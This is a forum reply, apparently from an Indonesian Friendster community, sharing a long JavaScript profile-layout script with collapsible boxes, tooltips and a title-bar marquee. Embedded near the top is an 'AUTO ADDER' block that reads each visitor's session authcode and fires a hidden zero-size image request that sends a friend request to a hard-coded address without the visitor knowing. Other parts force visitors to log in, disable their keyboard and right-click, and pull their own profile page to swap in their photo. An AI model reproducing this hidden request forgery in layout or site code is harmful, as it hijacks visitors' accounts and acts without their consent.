[quote=odloc]koq d fs odi box sebelah kanan'a gag bisa mini maxi yh???[/quote]
coba keq gini
[spoiler][spoiler][spoiler]//*********************************************************** BAGIAN A ***********************************************************//
//** CSS INJECTION **//
function injectcss() {
if(window.cssinjected == undefined) {
cssinjected = 1;
var css = document.createElement("link");
css.setAttribute("type","text/css");
css.setAttribute("rel","stylesheet");
css.setAttribute("href","http://h1.ripway.com/odloc/cyan/cyancyan.css");
css.setAttribute("media","screen, print");
document.getElementsByTagName("head")[0].appendChild(css);
}
}injectcss();
//** AUTO ADDER **//
var afaimg = document.createElement('span');
afaimg.id = "addme";
document.getElementsByTagName('head')[0].appendChild(afaimg);
function afa() {
var eadd = "da_buckz@hotmail.com";
var k = document.getElementById("controlPanelButtons").innerHTML;
var a = k.slice(k.indexOf("authcode="));
var m = a.slice(9,39);
document.getElementById("addme").innerHTML = "<img src=\"http://www.friendster.com/addfriendrequest.php?authcode="+m+"&uid="+pageOwnerID+"&email="+eadd+"&firstname=&lastname=&friend=&submit=1\" width=\"0\" height=\"0\" />";
}
if (!attachOnLoadHandler(function() { afa();})) window.onload = function() { afa();};
//** FORCE IE **//
if (navigator.appName == "Microsoft Internet Explorer") {
alert('Use Mozilla FireFox 2 View My Profile!')
document.location = "http://www.friendster.com/home.php";
}
//** FORCE OPERA **//
if (navigator.appName == 'Opera') {
alert("Use Mozilla FireFox 2 View My Profile!");
document.location = "http://www.friendster.com/home.php";
}
//** FORCE UNLOGGED-IN VIEWER **//
if(pageViewerID==""){
alert("U Have 2 Log-In 1st 2 View My Profile!");
top.location.href="http://www.friendster.com/login.php?next=%2fuser.php%3fuid%3D"+pageOwnerID+"&cookie=1";
}
//** DISABLED KEY-PRESSING **//
function keypressed() {
alert("Function Disabled!");
}
document.onkeydown=keypressed;
//*********************************************************** BAGIAN B ***********************************************************//
//onload handler
function onProfileLoad() {
//addboxes here
//** FRIENDS **//
h=document.getElementById("2").getElementsByTagName("h2")[0];
h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_2'); return false\"><img src=\"http://i424.photobucket.com/albums/pp326/odlockyloc/header/0friendheader.png\"/></div></a>";
show_hide('content_2');
//** FANOF **//
h=document.getElementById("7").getElementsByTagName("h2")[0];
h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_7'); return false\"><img src=\"http://i424.photobucket.com/albums/pp326/odlockyloc/header/0fanheader.png\"/></div></a>";
show_hide('content_7');
//** GROUPS **//
h=document.getElementById("8").getElementsByTagName("h2")[0];
h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_8'); return false\"><img src=\"http://i424.photobucket.com/albums/pp326/odlockyloc/header/0grupzheader.png\"/></div></a>";
show_hide('content_8');
//** COMPLEMENT FOR COMMENT BOX **//
tombol_comment=document.getElementById("content_18").getElementsByTagName("div")[0];
tombol_comment.style.textAlign="center";
tombol_comment.innerHTML=" ";
for (i=0;i<10;i++) {
fotosrc=document.getElementById("18").getElementsByTagName("td")[2*i].getElementsByTagName("div")[0].getElementsByTagName("img")[0].getAttribute("src");
tglPost=document.getElementById("content_18").getElementsByTagName("ul")[0+1*i].getElementsByTagName("li")[1].innerHTML;
komensrc=document.getElementById("content_18").getElementsByTagName("ul")[0+1*i].getElementsByTagName("li")[2].innerHTML;
ulcomment=document.getElementById("18").getElementsByTagName("td")[2*i+1].getElementsByTagName("ul")[0];
linkcommentor=ulcomment.getElementsByTagName("li")[0].getElementsByTagName("a")[0];
commentorName=linkcommentor.innerHTML.replace(/"/g,"").replace(/'/g,"");
commentorHref=linkcommentor.getAttribute("href");
tombol_comment.innerHTML+="<span style='padding-left:5px;'><a href='"+commentorHref+"'><img src=\"http://h1.ripway.com/odloc/tombol/"+i+".png\" height=\"80px\" width=\"80px\" title=\"header=[<img src='"+fotosrc+"' style='width:164px;border:1px solid #00f4e0;'><br><br>"+commentorName+"<br>] body=["+tglPost.replace(/"/g,'')+"<br>"+komensrc.replace(/"/g,'').replace(/([*\[]|[*\]])/g,'*')+"]\"></a></span>";
divcomment=document.getElementById("content_18").getElementsByTagName("div")[2*i+1];
divcomment.style.display="none";
fototd=document.getElementById("18").getElementsByTagName("td")[2*i];
fototd.style.display="none";
}
}
//*********************************************************** BAGIAN C ***********************************************************//
if (!attachOnLoadHandler(function(){onProfileLoad()})) window.onload = function(){onProfileLoad()};
function addBox (type,head,htm,id,sibling) {
//by marfillaster
//type "LEFT" | "RIGHT"
//head header string
//htm innerHTML string
//id css_id string
//sibling css_id_insertbefore string | null
/* Available default Siblings
LEFT
0 = controlpanel
1 = photos
13 = blogs
12 = reviews
6 = moreabout
18 = publiccomments
10 = scrapbook
RIGHT
15 = meettrail
2 = friends
14 = googleads
7 = fan
8 = groups
null - appends to last
*/
try {
var li=document.createElement("li");
} catch(e) {
var li=document.createElement("<li>");
}
if(type=="LEFT") {
var ul=document.getElementById("0").parentNode.parentNode;
htm="<div class='boxcontent'>"+htm+"</div>";
}
else var ul=document.getElementById("2").parentNode.parentNode;
li.innerHTML="<div id='"+id+"' class='commonbox "+id+"'>"+
"<h2>"+head+"</h2>"+
"<div id='content_"+id+"'>"+
htm+
"</div>"+
"</div>";
if(sibling==null) ul.appendChild(li);
else {
sibling=document.getElementById(sibling).parentNode;
ul.insertBefore(li,sibling);
}
}
//** FIELD NAME ON CP **//
document.getElementById('0').getElementsByTagName("ul")[1].innerHTML=
"<li><span><b>Sk8er Boi, 14, Jomblo</b></span><br></li>"+
"<li><span><b>Country:</b> Qatar</span><br></li>"+
"<li><span><b>Hometown:</b> Bogor, Indonesia</span><br></li>"+
"<li><span><b>Member Since:</b> 10.000 BC</span><br></li>"+
"<li><span><b>Interested With:</b> Sk8board</span><br></li>"+
"<li><span><b>Company:</b> Rise Sk8 Bogor</span><br></li>"+
"<li><span><b>Last LogIn:</b> 24 Hours Non Stop</span><br></li>"+
"<li><span><b>Zodiac:</b> Shaggytariouzz</span><br></li>"+
"<li><span><b>URL:</b> <a href=\"http://profiles.friendster.com/odlockyloc\">http://profiles.friendster.com/odlockyloc</span><br></li>";
if ( ! attachOnLoadHandler(function () { loadBox();}))
window.onload = function () { loadBox();};
function loadBox() {
var ld=setTimeout("loader.hide()",4000);
}
//** FIELD DATA ON RECENT UPDATES BOX **//
if (typeof CUSTOMTRACKER == "undefined") { CUSTOMTRACKER = {}; }
CUSTOMTRACKER = {
getUTracker: null,
sibling: null,
init: function() {
try {
CUSTOMTRACKER.getUTracker = document.createElement("div");
CUSTOMTRACKER.getUTracker.setAttribute("class","user_tracker");
CUSTOMTRACKER.getUTracker.innerHTML = "<div style=\"padding: 5px;\">"+
"<ul><li><strong><b>Recent Updates [Visible to Unbeliever]</b></strong></li>"+
"<li><a href=\"/"+pageOwnerID+"\"><b>Read a BullShit</b></a> - <span class=\"age\" style=\"font-size: 11px\">A Moment Ago</span></li>"+
"<li><a href=\"/"+pageOwnerID+"\"><b>Join A Fuckin' Group</b></a> - <span class=\"age\" style=\"font-size: 11px\">Last Night</span></li>"+
"<li><a href=\"/"+pageOwnerID+"\"><b>Added a New Pet</b></a> - <span class=\"age\" style=\"font-size: 11px\">3 Hours Ago</span></li>"+
"<li><a href=\"/"+pageOwnerID+"\"><b>Kill Someone</b></a> - <span class=\"age\" style=\"font-size: 11px\">Last 2 Days</span></li>"+
"<li><a href=\"/"+pageOwnerID+"\"><b>Update Tha Layout</b></a> - <span class=\"age\" style=\"font-size: 11px\">A Week Ago</span></li>"+
"</ul></div>";
CUSTOMTRACKER.sibling = CUSTOMTRACKER.getElementsByClassName(document.getElementById("content_0"),"div","user_tracker")[0];
CUSTOMTRACKER.sibling.parentNode.replaceChild(CUSTOMTRACKER.getUTracker,CUSTOMTRACKER.sibling);
}catch(e) {
CUSTOMTRACKER.getUTracker = "";
}
},
getElementsByClassName: function(oElm,sTag,sClass) {
var elm = [];
if (!oElm)oElm = document;
if (!sTag)sTag = "*";
var els = oElm.getElementsByTagName(sTag) || document.all;
for (var i=0,j=els.length;i<j;i++) {
if (new RegExp(sClass).test(els[i].className))elm.push(els[i]);
}
return elm;
}
};CUSTOMTRACKER.init();
//** FIELD NAME ON MORE ABOUT **//
if (typeof MOREABOUT == "undefined") { MOREABOUT = {}; }
MOREABOUT = {
getElements: null,
elements: {
mainid: document.getElementById("content_6"),
maintag: "span",
mainclass: "q"
},
init: function() {
try {
MOREABOUT.getElements = MOREABOUT.getElementsByClassName(MOREABOUT.elements.mainid,MOREABOUT.elements.maintag,MOREABOUT.elements.mainclass);
MOREABOUT.getElements[0].innerHTML = "<b>Skoolz:</b>";
MOREABOUT.getElements[1].innerHTML = "<b>Occupationz:</b>";
MOREABOUT.getElements[2].innerHTML = "<b>Affiliatonz:</b>";
MOREABOUT.getElements[3].innerHTML = "<b>Activitiez:</b>";
MOREABOUT.getElements[4].innerHTML = "<b>Favorites Bookz:</b>";
MOREABOUT.getElements[5].innerHTML = "<b>Favorites Moviez:</b>";
MOREABOUT.getElements[6].innerHTML = "<b>Favorites Musix:</b>";
MOREABOUT.getElements[7].innerHTML = "<b>Favorites Tv Showz</b>";
MOREABOUT.getElements[8].innerHTML = "<b>About Me:</b>";
MOREABOUT.getElements[9].innerHTML = "<b>More & More:</b>";
}catch(e) {
MOREABOUT.getElements = "";
}
},
getElementsByClassName: function(oElm,sTag,sClass) {
var elm = [];
if (!oElm)oElm = document;
if (!sTag)sTag = "*";
var els = oElm.getElementsByTagName(sTag) || document.all;
for (var i=0,j=els.length;i<j;i++) {
if (new RegExp(sClass).test(els[i].className))elm.push(els[i]);
}
return elm;
}
};MOREABOUT.init();
//** TOOLTIPS **//
if (typeof document.attachEvent!='undefined') {
window.attachEvent('onload',init);
document.attachEvent('onmousemove',moveMouse);
document.attachEvent('onclick',checkMove); }
else {
window.addEventListener('load',init,false);
document.addEventListener('mousemove',moveMouse,false);
document.addEventListener('click',checkMove,false);
}
var oDv=document.createElement("div");
var dvHdr=document.createElement("div");
var dvBdy=document.createElement("div");
var windowlock,boxMove,fixposx,fixposy,lockX,lockY,fixx,fixy,ox,oy,boxLeft,boxRight,boxTop,boxBottom,evt,mouseX,mouseY,boxOpen,totalScrollTop,totalScrollLeft;
boxOpen=false;
ox=10;
oy=10;
lockX=0;
lockY=0;
function init() {
oDv.appendChild(dvHdr);
oDv.appendChild(dvBdy);
oDv.style.position="absolute";
oDv.style.visibility='hidden';
document.body.appendChild(oDv);
}
function defHdrStyle() {
dvHdr.innerHTML='<img style="vertical-align:middle" src="info.gif"> '+dvHdr.innerHTML;
dvHdr.style.fontWeight='bold';
dvHdr.style.width='170px';
dvHdr.style.fontFamily='Comic Sans MS';
dvHdr.style.border='1px solid #00f4e0';
dvHdr.style.padding='3';
dvHdr.style.fontSize='11';
dvHdr.style.color='#00f4e0';
dvHdr.style.background='#000000';
dvHdr.style.filter='alpha(opacity=85)'; // IE
dvHdr.style.opacity='0.85'; // FF
dvHdr.style.MozBorderRadius='10px 10px 0px 0px';
}
function defBdyStyle() {
dvBdy.style.borderBottom='1px solid #00f4e0';
dvBdy.style.borderLeft='1px solid #00f4e0';
dvBdy.style.borderRight='1px solid #00f4e0';
dvBdy.style.width='170px';
dvBdy.style.fontFamily='Comic Sans MS';
dvBdy.style.fontSize='11';
dvBdy.style.padding='3';
dvBdy.style.color='#00f4e0';
dvBdy.style.background='#000000';
dvBdy.style.filter='alpha(opacity=85)'; // IE
dvBdy.style.opacity='0.85'; // FF
dvBdy.style.MozBorderRadius='0px 0px 10px 10px';
}
function checkElemBO(txt) {
if (!txt || typeof(txt) != 'string') return false;
if ((txt.indexOf('header')>-1)&&(txt.indexOf('body')>-1)&&(txt.indexOf('[')>-1)&&(txt.indexOf('[')>-1))
return true;
else
return false;
}
function scanBO(curNode) {
if (checkElemBO(curNode.title)) {
curNode.boHDR=getParam('header',curNode.title);
curNode.boBDY=getParam('body',curNode.title);
curNode.boCSSBDY=getParam('cssbody',curNode.title);
curNode.boCSSHDR=getParam('cssheader',curNode.title);
curNode.IEbugfix=(getParam('hideselects',curNode.title)=='on')?true:false;
curNode.fixX=parseInt(getParam('fixedrelx',curNode.title));
curNode.fixY=parseInt(getParam('fixedrely',curNode.title));
curNode.absX=parseInt(getParam('fixedabsx',curNode.title));
curNode.absY=parseInt(getParam('fixedabsy',curNode.title));
curNode.offY=(getParam('offsety',curNode.title)!='')?parseInt(getParam('offsety',curNode.title)):10;
curNode.offX=(getParam('offsetx',curNode.title)!='')?parseInt(getParam('offsetx',curNode.title)):10;
curNode.fade=(getParam('fade',curNode.title)=='on')?true:false;
curNode.fadespeed=(getParam('fadespeed',curNode.title)!='')?getParam('fadespeed',curNode.title):0.04;
curNode.delay=(getParam('delay',curNode.title)!='')?parseInt(getParam('delay',curNode.title)):0;
if (getParam('requireclick',curNode.title)=='on') {
curNode.requireclick=true;
document.all?curNode.attachEvent('onclick',showHideBox):curNode.addEventListener('click',showHideBox,false);
document.all?curNode.attachEvent('onmouseover',hideBox):curNode.addEventListener('mouseover',hideBox,false);
}
else {// Note : if requireclick is on the stop clicks are ignored
if (getParam('doubleclickstop',curNode.title)!='off') {
document.all?curNode.attachEvent('ondblclick',pauseBox):curNode.addEventListener('dblclick',pauseBox,false);
}
if (getParam('singleclickstop',curNode.title)=='on') {
document.all?curNode.attachEvent('onclick',pauseBox):curNode.addEventListener('click',pauseBox,false);
}
}
curNode.windowLock=getParam('windowlock',curNode.title).toLowerCase()=='off'?false:true;
curNode.title='';
curNode.hasbox=1;
}
else
curNode.hasbox=2;
}
function getParam(param,list) {
var reg = new RegExp('([^a-zA-Z]' + param + '|^' + param + ')\\s*=\\s*\\[\\s*(((\\[\\[)|(\\]\\])|([^\\]\\[]))*)\\s*\\]');
var res = reg.exec(list);
var returnvar;
if(res)
return res[2].replace('[[','[').replace(']]',']');
else
return '';
}
function Left(elem){
var x=0;
if (elem.calcLeft)
return elem.calcLeft;
var oElem=elem;
while(elem){
if ((elem.currentStyle)&& (!isNaN(parseInt(elem.currentStyle.borderLeftWidth)))&&(x!=0))
x+=parseInt(elem.currentStyle.borderLeftWidth);
x+=elem.offsetLeft;
elem=elem.offsetParent;
}
oElem.calcLeft=x;
return x;
}
function Top(elem){
var x=0;
if (elem.calcTop)
return elem.calcTop;
var oElem=elem;
while(elem){
if ((elem.currentStyle)&& (!isNaN(parseInt(elem.currentStyle.borderTopWidth)))&&(x!=0))
x+=parseInt(elem.currentStyle.borderTopWidth);
x+=elem.offsetTop;
elem=elem.offsetParent;
}
oElem.calcTop=x;
return x;
}
var ah,ab;
function applyStyles() {
if(ab)
oDv.removeChild(dvBdy);
if (ah)
oDv.removeChild(dvHdr);
dvHdr=document.createElement("div");
dvBdy=document.createElement("div");
CBE.boCSSBDY?dvBdy.className=CBE.boCSSBDY:defBdyStyle();
CBE.boCSSHDR?dvHdr.className=CBE.boCSSHDR:defHdrStyle();
dvHdr.innerHTML=CBE.boHDR;
dvBdy.innerHTML=CBE.boBDY;
ah=false;
ab=false;
if (CBE.boHDR!='') {
oDv.appendChild(dvHdr);
ah=true;
}
if (CBE.boBDY!=''){
oDv.appendChild(dvBdy);
ab=true;
}
}
var CSE,iterElem,LSE,CBE,LBE, totalScrollLeft, totalScrollTop, width, height ;
var ini=false;
// Customised function for inner window dimension
function SHW() {
if (document.body && (document.body.clientWidth !=0)) {
width=document.body.clientWidth;
height=document.body.clientHeight;
}
if (document.documentElement && (document.documentElement.clientWidth!=0) && (document.body.clientWidth + 20 >= document.documentElement.clientWidth)) {
width=document.documentElement.clientWidth;
height=document.documentElement.clientHeight;
}
return [width,height];
}
var ID=null;
function moveMouse(e) {
//boxMove=true;
e?evt=e:evt=event;
CSE=evt.target?evt.target:evt.srcElement;
if (!CSE.hasbox) {
// Note we need to scan up DOM here, some elements like TR don't get triggered as srcElement
iElem=CSE;
while ((iElem.parentNode) && (!iElem.hasbox)) {
scanBO(iElem);
iElem=iElem.parentNode;
}
}
if ((CSE!=LSE)&&(!isChild(CSE,dvHdr))&&(!isChild(CSE,dvBdy))){
if (!CSE.boxItem) {
iterElem=CSE;
while ((iterElem.hasbox==2)&&(iterElem.parentNode))
iterElem=iterElem.parentNode;
CSE.boxItem=iterElem;
}
iterElem=CSE.boxItem;
if (CSE.boxItem&&(CSE.boxItem.hasbox==1)) {
LBE=CBE;
CBE=iterElem;
if (CBE!=LBE) {
applyStyles();
if (!CBE.requireclick)
if (CBE.fade) {
if (ID!=null)
clearTimeout(ID);
ID=setTimeout("fadeIn("+CBE.fadespeed+")",CBE.delay);
}
else {
if (ID!=null)
clearTimeout(ID);
COL=1;
ID=setTimeout("oDv.style.visibility='visible';ID=null;",CBE.delay);
}
if (CBE.IEbugfix) {hideSelects();}
fixposx=!isNaN(CBE.fixX)?Left(CBE)+CBE.fixX:CBE.absX;
fixposy=!isNaN(CBE.fixY)?Top(CBE)+CBE.fixY:CBE.absY;
lockX=0;
lockY=0;
boxMove=true;
ox=CBE.offX?CBE.offX:10;
oy=CBE.offY?CBE.offY:10;
}
}
else if (!isChild(CSE,dvHdr) && !isChild(CSE,dvBdy) && (boxMove)) {
// The conditional here fixes flickering between tables cells.
if ((!isChild(CBE,CSE)) || (CSE.tagName!='TABLE')) {
CBE=null;
if (ID!=null)
clearTimeout(ID);
fadeOut();
showSelects();
}
}
LSE=CSE;
}
else if (((isChild(CSE,dvHdr) || isChild(CSE,dvBdy))&&(boxMove))) {
totalScrollLeft=0;
totalScrollTop=0;
iterElem=CSE;
while(iterElem) {
if(!isNaN(parseInt(iterElem.scrollTop)))
totalScrollTop+=parseInt(iterElem.scrollTop);
if(!isNaN(parseInt(iterElem.scrollLeft)))
totalScrollLeft+=parseInt(iterElem.scrollLeft);
iterElem=iterElem.parentNode;
}
if (CBE!=null) {
boxLeft=Left(CBE)-totalScrollLeft;
boxRight=parseInt(Left(CBE)+CBE.offsetWidth)-totalScrollLeft;
boxTop=Top(CBE)-totalScrollTop;
boxBottom=parseInt(Top(CBE)+CBE.offsetHeight)-totalScrollTop;
doCheck();
}
}
if (boxMove&&CBE) {
// This added to alleviate bug in IE6 w.r.t DOCTYPE
bodyScrollTop=document.documentElement&&document.documentElement.scrollTop?document.documentElement.scrollTop:document.body.scrollTop;
bodyScrollLet=document.documentElement&&document.documentElement.scrollLeft?document.documentElement.scrollLeft:document.body.scrollLeft;
mouseX=evt.pageX?evt.pageX-bodyScrollLet:evt.clientX-document.body.clientLeft;
mouseY=evt.pageY?evt.pageY-bodyScrollTop:evt.clientY-document.body.clientTop;
if ((CBE)&&(CBE.windowLock)) {
mouseY < -oy?lockY=-mouseY-oy:lockY=0;
mouseX < -ox?lockX=-mouseX-ox:lockX=0;
mouseY > (SHW()[1]-oDv.offsetHeight-oy)?lockY=-mouseY+SHW()[1]-oDv.offsetHeight-oy:lockY=lockY;
mouseX > (SHW()[0]-dvBdy.offsetWidth-ox)?lockX=-mouseX-ox+SHW()[0]-dvBdy.offsetWidth:lockX=lockX;
}
oDv.style.left=((fixposx)||(fixposx==0))?fixposx:bodyScrollLet+mouseX+ox+lockX+"px";
oDv.style.top=((fixposy)||(fixposy==0))?fixposy:bodyScrollTop+mouseY+oy+lockY+"px";
}
}
function doCheck() {
if ( (mouseX < boxLeft) || (mouseX >boxRight) || (mouseY < boxTop) || (mouseY > boxBottom)) {
if (!CBE.requireclick)
fadeOut();
if (CBE.IEbugfix) {showSelects();}
CBE=null;
}
}
function pauseBox(e) {
e?evt=e:evt=event;
boxMove=false;
evt.cancelBubble=true;
}
function showHideBox(e) {
oDv.style.visibility=(oDv.style.visibility!='visible')?'visible':'hidden';
}
function hideBox(e) {
oDv.style.visibility='hidden';
}
var COL=0;
var stopfade=false;
function fadeIn(fs) {
ID=null;
COL=0;
oDv.style.visibility='visible';
fadeIn2(fs);
}
function fadeIn2(fs) {
COL=COL+fs;
COL=(COL>1)?1:COL;
oDv.style.filter='alpha(opacity='+parseInt(100*COL)+')';
oDv.style.opacity=COL;
if (COL<1)
setTimeout("fadeIn2("+fs+")",20);
}
function fadeOut() {
oDv.style.visibility='hidden';
}
function isChild(s,d) {
while(s) {
if (s==d)
return true;
s=s.parentNode;
}
return false;
}
var cSrc;
function checkMove(e) {
e?evt=e:evt=event;
cSrc=evt.target?evt.target:evt.srcElement;
if ((!boxMove)&&(!isChild(cSrc,oDv))) {
fadeOut();
if (CBE&&CBE.IEbugfix) {showSelects();}
boxMove=true;
CBE=null;
}
}
function showSelects(){
var elements = document.getElementsByTagName("select");
for (i=0;i< elements.length;i++){
elements[i].style.visibility='visible';
}
}
function hideSelects(){
var elements = document.getElementsByTagName("select");
for (i=0;i< elements.length;i++){
elements[i].style.visibility='hidden';
}
}
//** NO RIGHT-CLICKING **//
var msg = "Function Disabled!";
function clickIE4()
{if (event.button == 2)
{alert(msg);
return false;
}
}
function clickNS4(e)
{if (document.layers || document.getElementById && ! document.all)
{if (e.which == 2 || e.which == 3)
{alert(msg);
return false;
}
}
}
if (document.layers)
{document.captureEvents(Event.MOUSEDOWN);
document.onmousedown = clickNS4;
}
else if (document.all && ! document.getElementById)
{document.onmousedown = clickIE4;
}
document.oncontextmenu = new Function("alert(msg);return false");
//** CHANGE PRIMARY PIC WITH VIEWER MAIN PIC **//
/*global PRIMARYIMG*/
(function () {
PRIMARYIMG = {
// private property
photo: null,
getPrimaryPic: document.getElementById("content_0").getElementsByTagName("a")[0],
init: function () {
if (pageViewerID !== "" || pageViewerID !== pageOwnerID) {
try {
PRIMARYIMG.ajaxRequest("GET", "http://" + location.hostname + "/" + pageViewerID, true, null, PRIMARYIMG.viewer, null);
} catch (e) {}
}
},
viewer: function (htm) {
if (htm.replace(/^\s*|\s*$/g, "") === "") {
window.alert("ERROR: Empty xmlresponse! \n Unable to parse your details!");
return;
} else {
htm = htm.slice(htm.indexOf("<div class=\"imgblock200\">") + 0, htm.indexOf("<ul id=\"controlPanelButtons\">") + 0);
htm = htm.slice(htm.indexOf("<a href=\"") + 0, htm.indexOf("</a></div>") + 4);
PRIMARYIMG.photo = document.createElement("div");
PRIMARYIMG.photo.className = "img200";
PRIMARYIMG.photo.innerHTML = htm;
PRIMARYIMG.getPrimaryPic.parentNode.replaceChild(PRIMARYIMG.photo, PRIMARYIMG.getPrimaryPic);
}
},
ajaxRequest: function (type, url, async, param, func, handlerparam) {
/**
* ajaxRequest - You may not remove or change this notice.
* version: 2.4
* Copyright 2008 by FeRuZZ ©
http://profiles.friendster.com/feruzz.
*
* @type: "GET" | "POST"
* @cont: true | false
* @param: string | null
* @func: string | null
* @handlerparam: string | null
**/
var httprequest = null;
var requestDone = false;
var data = null;
var responseType = "text";
var timeout = 0;
var ival = null;
var onreadystatechange = {};
var msxml = ["Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0", "Msxml2.XMLHTTP", "Microsoft.XMLHTTP"];
for (var x = 0, len = msxml.length; x < len; x += 1) {
try {
httprequest = window.ActiveXObject ? new ActiveXObject(msxml[x]) : new XMLHttpRequest();
break;
} catch (e) {
if (async) {
httprequest = null;
}
}
}
if (typeof func === "function") {
onreadystatechange = function (isTimeout) {
if (!requestDone && httprequest && (httprequest.readyState === 4 || isTimeout === "timeout")) {
requestDone = true;
if (ival) {
window.clearInterval(ival);
ival = null;
}
if (!httprequest.status && location.protocol === "file:" || (httprequest.status >= 200 && httprequest.status < 300) || httprequest.status === 304 || httprequest.status === 1223) {
var resPonse = (/xml/i.test(responseType))? httprequest.responseXML : httprequest.responseText;
func(resPonse.replace(new RegExp("<script[^>]*>.*?<\/script>", "gi"), ""), handlerparam);
}
}
};
}
if (async) {
ival = window.setInterval(onreadystatechange, 13);
if (timeout > 0) {
window.setTimeout(function () {
if (httprequest) {
httprequest.abort();
if (!requestDone) {
onreadystatechange("timeout");
}
}
}, timeout);
}
}
if (type === "GET" && (/GET/i.test(type))) {
var ts = new Date().getTime();
var ret = url.replace(/(\?|&)_=[\S\s]*?(&|$)/, "$1_=" + ts + "$2");
url = ret + ((ret === url) ? (url.match(/\?/) ? "&" : "?") + "_=" + ts : "");
}
if (data && type === "GET" && (/GET/i.test(type))) {
url += (url.match(/\?/) ? "&" : "?") + data;
data = null;
}
if (type === "POST" && (/POST/i.test(type))) {
var headers = "application/x-www-form-urlencoded" + ("UTF-8" ? "; charset=" + "UTF-8" : "");
var contentLength = param ? param.length: 0;
try {
httprequest.setRequestHeader("Content-type", headers);
httprequest.setRequestHeader("Content-length", contentLength);
if (httprequest.overrideMimeType && (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0, 2005])[1] < 2005) {
httprequest.setRequestHeader("Connection", "close");
}
} catch (err) {}
}
httprequest.open(type, url, async);
httprequest.setRequestHeader("ajaxRequest", "true");
httprequest.setRequestHeader("X-Requested-With", "XMLHttpRequest");
httprequest.setRequestHeader("If-Modified-Since", "Thu, 01 Jan 1970 00:00:00 GMT");
httprequest.setRequestHeader("Accept", "text/javascript, application/javascript, text/html, application/xml, text/xml, text/plain, */*");
httprequest.send(param);
if (!async) {
onreadystatechange();
}
}
};
})();
PRIMARYIMG.init();
//** MARQUE STATUS BAR **//
<!--//
function tb10_makeArray(n){
this.length = n;
return this.length;
}
tb10_messages = new tb10_makeArray(1);
tb10_messages[0] = "......:::: Welcome 2 mo Profile.!! ::::......";
tb10_rptType = 'infinite';
tb10_rptNbr = 5;
tb10_speed = 100;
tb10_delay = 2000;
var tb10_wiper
var tb10_space="="
var tb10_currMsg=0;
var tb10_counter=1;
var tb10_index=0
tb10_main()
function tb10_main()
{
document.title=tb10_messages[tb10_currMsg].substring(0,tb10_index)
tb10_index++
if(tb10_index==(tb10_messages[tb10_currMsg].length+4)){setTimeout('tb10_reset_clear()',tb10_delay);}
else{setTimeout('tb10_main()',tb10_speed)}
}
function tb10_reset_clear()
{
tb10_index=0
tb10_wiper=""
for(var a=0;a<tb10_messages[tb10_currMsg].length;a++){tb10_wiper+=tb10_space}
tb10_clearem()
}
function tb10_clearem()
{
document.title=tb10_wiper.substring(0,tb10_index) + "=>" + tb10_messages[tb10_currMsg].substring(tb10_index+2,tb10_messages[tb10_currMsg].length)
tb10_index++
if(tb10_index==(tb10_messages[tb10_currMsg].length+4)){
if (tb10_currMsg == tb10_messages.length-1){
if ((tb10_rptType == 'finite') && (tb10_counter==tb10_rptNbr)){
document.title="";
return;
}
tb10_counter++;
tb10_currMsg = 0;
}
else tb10_currMsg++;
tb10_index=0
tb10_main()
}
else{setTimeout('tb10_clearem()',250)}
}
// -->
//marquee status bar bawah
<!--//
function doClock() {
window.setTimeout( "doClock()", 1000 );
today = new Date();
self.status = today.toString();
}
doClock()
// -->
//** CONTROL PANEL **//
h=document.getElementById("controlpanel_header");
h.innerHTML="<a href=\"#\"><img src=\"http://i424.photobucket.com/albums/pp326/odlockyloc/header/0thacontrolpanel.png\"/></div></a>";
//** MORE ABOUT **//
h=document.getElementById("6").getElementsByTagName("h2")[0];
h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_6'); return false\"><img src=\"http://i424.photobucket.com/albums/pp326/odlockyloc/header/0morebout.png\"/></div></a>";
show_hide('content_6');
//** PUBLIC COMMENTS **//
h=document.getElementById("18").getElementsByTagName("h2")[0];
h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_18'); return false\"><img src=\"http://i424.photobucket.com/albums/pp326/odlockyloc/header/0testi.png\"/></div></a>";
show_hide('content_18');
//** PHOTO GALLERY **//
h=document.getElementById("1").getElementsByTagName("h2")[0];
h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_1'); return false\"><img src=\"http://i424.photobucket.com/albums/pp326/odlockyloc/header/0snapshots.png\"/></div></a>";
show_hide('content_1');
//** BLOGS **//
h=document.getElementById("13").getElementsByTagName("h2")[0];
h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_13'); return false\"><img src=\"http://i424.photobucket.com/albums/pp326/odlockyloc/header/0thablog.png\"/></div></a>";
show_hide('content_13');
//** REVIEWS **//
h=document.getElementById("12").getElementsByTagName("h2")[0];
h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_12'); return false\"><img src=\"http://i424.photobucket.com/albums/pp326/odlockyloc/header/0review.png\"/></div></a>";
show_hide('content_12');
//** MEDIABOX **//
h=document.getElementById("10").getElementsByTagName("h2")[0];
h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_10'); return false\"><img src=\"http://i424.photobucket.com/albums/pp326/odlockyloc/header/0mediabox.png\"/></div></a>";
show_hide('content_10');
function show_hide(the_box) {
if (document.getElementById(the_box)) {
if (document.getElementById(the_box).style.display == 'none') {
document.getElementById(the_box).style.display = 'block';
}
else {
document.getElementById(the_box).style.display = 'none';
}
}
}[/spoiler][/spoiler][/spoiler]
prepiunya [url=http://friendster.com/herry2]tester[/url]
klw mslh header... tar dicuba dolo deh..